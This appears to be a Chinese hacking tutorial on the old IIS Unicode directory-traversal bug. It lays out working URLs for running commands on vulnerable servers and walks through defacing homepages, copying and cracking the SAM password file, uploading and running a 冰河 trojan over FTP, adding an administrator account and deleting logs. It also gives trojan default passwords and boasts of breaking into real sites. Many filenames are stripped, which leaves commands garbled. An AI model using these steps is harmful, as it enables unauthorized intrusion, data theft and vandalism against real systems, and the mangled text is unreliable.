2023年11月26日发(作者:)IIS unicode漏洞完整攻略



1 首先我们来看看这个漏洞的原理。

在中文版的IIS4,和ISS5中,存在一个BUG,原因是UNICODE编码 存在BUG 在UNICODE 编码中,发现了一个奇怪的编码方式,

例如:

%c1%hh %c0%hh (0x00〈= 0xhh 〈 0x40)

IIS 把 "%c1%hh" 编码成

(0xc1 -0xc0) * 0x40 + 0xhh.

例如 (Windows 2000 + IIS 5.0 + SP1 简体中文版):

192.168.8.48//%c1%

IIS 将返回"@.ida" 找不到该文件 在这里 (0xc1-0xc0)*0x40+0x00=0x40='@'

192.168.8.48//%c1%

IIS 将返回 "" 找不到该文件 这里 (0xc1-0xc0)*0x40+0x01=0x41='A'

192.168.8.48//%c1%

IIS 将返回 "" 找不到该文件 ....

192.168.8.48//%c0%

IIS 将返回 "!.ida" 找不到该文件

这就意味着你能利用这些编码的特点。

例如:

%c1%1c -〉 (0xc1 - 0xc0) * 0x40 + 0x1c = 0x5c = '/'

%c0%2f -〉 (0xc0 - 0xc0) * 0x40 + 0x2f = 0x2f = ''

所以我们就可以用这种方法进入一些目录。

(1)192.168.8.48/scripts/..%c1%1c../winnt/system32/?/c+dir

这样我们将得到

Directory of d:inetpubscripts

2000-09-28 15:49 〈DIR〉

. 1999-07-21 17:49 147,456

2000-09-12 17:08 438,290

2000-10-13 15:03 8,867

2000-08-23 23:07 160,002

1999-05-25 18:14 3,925

1999-07-21 17:49 64,512

2000-08-10 15:24 46,352

1999-07-21 17:49 64,512

1999-05-25 18:18 1,317

2000-09-28 15:49

〈DIR〉 wcount 9 File(s) 935,233 bytes

(2) 我们也可以利用此BUG得到一些系统文件的内容

192.168.8.48//..%c1%1c../..%c1%1c../winnt/

IIS 将把它当作 a .ASP 文件提交.它将让 来打开文件

如果用 IIS 4.0+SP6(中文版), 将不能测试成功 但是我们能用下列方法得到。

192.168.8.100///..%c1%1c../..%c1%1c../winnt/



"" 是一个存在的 .ASP 文件, "" 是一个随机的 .EXE 文件名. 它可以不存在。

打上SP1仍然还有这种编码问题。

在英文版本中使用 %c1%af 能正常利用这个漏洞。

2.了解了漏洞的详细资料。让我们来说说怎么利用。

a.利用IISExploitSearcher工作之便这个软件,我们来找有这个漏洞的主机。虽然这个漏洞公布很久了, 但你仍然会发现,你可以找到很多这种机器。假如我们已经找到了一台有这个漏洞的机器。让我们来进行下面的操作。

:///scripts/..%c1%1c../winnt/system32/?/c+copy+c:+

这个URL语句的执行的命令是:利用NT/2000下的命令解释程序来执行一个拷贝命令。

copy c:

它把c: 拷贝到了c:

就是DOS命令中的空格,在URL中就要换成“+”号。

你要执行copy c:



相对应的是ip/scripts/..%c1%1c../winnt/system32/?/c+copy+c:+

其中/scripts/..%c1%1c../winnt/system32/?/c是固定的,他的作用是调用c:来执行命令。

噢,忘了说为什么要拷贝了。

因为微软的iis加载程序的时候检测到有串的话就要检测特殊字符“&|(,;%<>”,所以必须改名。

c.这时c:已经拷贝到了c:

通过ip/scripts/?/c

我们就可以调用到了,就是说不用那个编码了。

ip/scripts/?/c+echo+Hacked+by+Lion+>+c:



192.168.8.48/scripts/?/c+echo+20/10/2000+>>+c:



主页面就被修改成了:

Hacked by Lion

20/10/2000

也就是说,已经把他的主页黑了。

:P



下面是一些解释。

其中echo 是一个回显命令。

你在DOS下打一个echo Hacked by Lion 看看。

它是在屏幕上显示

Hacked by Lion

不只这样

你也可以让它把东西写进一个文件。

echo Hacked by Lion >

这样当前目录下的文件里就有了Hacked by Lion的字样。

其中 > 的用途是把回显的字符写进,它覆盖原来的内容。

你如果再想用echo 20/10/2000 > 来写剩下的内容的话,

你会发现它覆盖了原来的内容Hacked by Lion。

怎么办呢?别急!

echo Hacked by Lion >

echo 20/10/2000 >>

看看吧

文件里面的是

Hacked by Lion

20/10/2000

成功了。

这样,就可以用上面的解释,把空格用"+"代替,就可以向别人的主页写任何东西了。补充一点

好多站点inetpub下的scripts目录删除了, 但Program FilesCommon FilesSystem下的msadc还在

(有漏洞的话就不用 %c1%1c了)。

这时可以如下构造请求:

ip/msadc/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/?/c+dir+c:



就能调用到

3.当然,我们也不能只停留在黑主页的地步,当然想进一步控制整个机器了。

:P



下面来说说几种方法来控制这个机器。

a. 如果c:winnt
epairsam._存在

那么我们把copy c:winnt
epairsam._ c:inetpubwwwroot

然后用浏览器下载,用破NT密码的工具,比如l0phtcrack来破。

b.上载文件

1.找一个ftp服务器,将须上载的文件copy 到ftp服务器上,

假设这个 ftp server的 ip:127.1.1.1 ,username:abc,password:bbb 文件名:

2.编辑一个上载执行文件

ip/scripts/?/c+echo+open+>+

ip/scripts/?/c+echo+pppppppppp>>+ (>>号前不要有空格)

ip/scripts/?/c+echo+pppppppppp>>+

ip/scripts/?/c+echo+get >>+

ip/scripts/?/c+echo+quit>>+

ip/scripts/?/c+tp+-

s:

如果你看不懂上面的命令。

你在DOS下打一个ftp /?看看。

:P



成功率很高的哦。

3.然后ip/scripts/运行它。是我放的一个冰河服务端。



下面不用我说了吧。用冰河客户端连接他就可以了。

:P

顺便说一下,冰河的公用密码是:05181977,他有70%左右的成功率。

subseven的共用密码是:abuse

4.当然你也可以给他中一个等的东西。

获取administrator权限

上载

getadmin iusr_机器名

这一招不一定有效哦。

http:/ip/scripts/?/c+net+user+aaa+12345+/add

http:/ip/scripts/?/c+net+localgroup+administrators+aaa+/add

c. 当然我们也有其他方法来上传文件。

前一段时间黑了几个台湾网站,net use也练得比较熟了。

看到有一个类似的教程用net use。

我也试了一下,累试不爽。呵呵

找个中转站,利用net use来上传文件。

我们要用到legion。

legion是一个扫描共享的软件。

你通过用它,你会找到一大堆的蠢伙。把整个C.D盘共享,并且不用密码的。

当然,设置密码也是没用的。呵呵猜26个字母就搞掂了。当然这要用另外一个软件。:P,在这就不说了。

找到后C盘或D盘后,

net use g:

把他的d映射成你的g:盘。

现在我们来把东西拷贝到他的D盘,也就是你的G盘。

copy e: o:

拷贝一个文件,随便你哦。:P

你也可以在我的电脑里把它拖过去就可以了。:P

操作完成就不管他了。

让我们来回到服务器上操作。

1 /scripts/?/c+net+use+g:+10.1.1.1d

建立连接和映射。

这个过程时间可能会长一点,耐心等等。

2 /scripts/?/c+dir+g:

看看东西在不在哦:P

3 /scripts/?/c+g:

直接运行就可以了。

:P

又一个中了木马。

但我不能保证它能100%成功哦。

d.用TFTP上传文件。

但具体怎么用我没试过。:(

谁知道的写信告诉我。



近来安全类技术网站提得最多的技术漏洞莫过于 %c1%1c 的问题。%c1%1c,中文简体里面没有这种字,照正常的情况根据内码转换文件winntsystem32c_会编码成“?”。但对中文简体版IIS中

c1 1c解码成了(c1-c0)*40+1c=5c=“”。此编码发生在IIS检测处理路径串中的“..”之后,所以可以突破IIS路径访问到上级目录。此漏洞从中文IIS4.0+SP6开始,还影响中文WIN2000+IIS5.0、中文WIN2000+IIS5.0+SP1,好像台湾繁体中文也受此漏洞影响。

执行:/scripts/..%c1%1c../winnt/system32

/?/c+dir%20c:发现列出了远程主机C:下的所有文件,执行:

/scripts/..%c1%1c../winnt/system32/?/c

+copy%20c:%20c: 成功实现文件的复制,

执行:/scrip

ts/..%c1%1c../winnt/system32/

?/c+del%20c: 成功实现文件的删除,哇!太利害了。随便浏览了一下,因为是国内的主机,不想搞破坏,只想练练手!目的:获得Administrator权限。

执行:/scripts/..%c1%1c../winnt/system32/

?/c+copy%20c:winnt
epairsam._%20c:inetpubwwwroot

把sam._文件拷贝到wwwroot文件内,输入:/sam._

将sam._文件下载到本地,执行:

/scripts/..%c1%1c../winnt/system32/?/c

+del%20c:inetpubwwwrootsam._清除痕迹。

在本机执行:C:>expand sam._ sam

启动l0phtcrack 2.5(可到/ 下载),Import Sam
< 导入sam文件,Open

打开一个字典,Run Crack,乖乖,要17个小时,不管它,让它慢慢破去,先睡个觉先!五分钟后来一看,Administrator 的 Nt Password 居然是 123456,我昏,网管们注意了,这种密码也可以取呀?执行:C:>newletmein -admin扫描主机,发现管理员ID是:asdfghjk,执行:C:>net use $

123456 /user:asdfghjk 成功联上对方主机,大功告成!窜到存放日志的目录:

winntsystem32logfiles 看了看,呵呵!写个E_mail给主机的网管说明了漏洞情况^^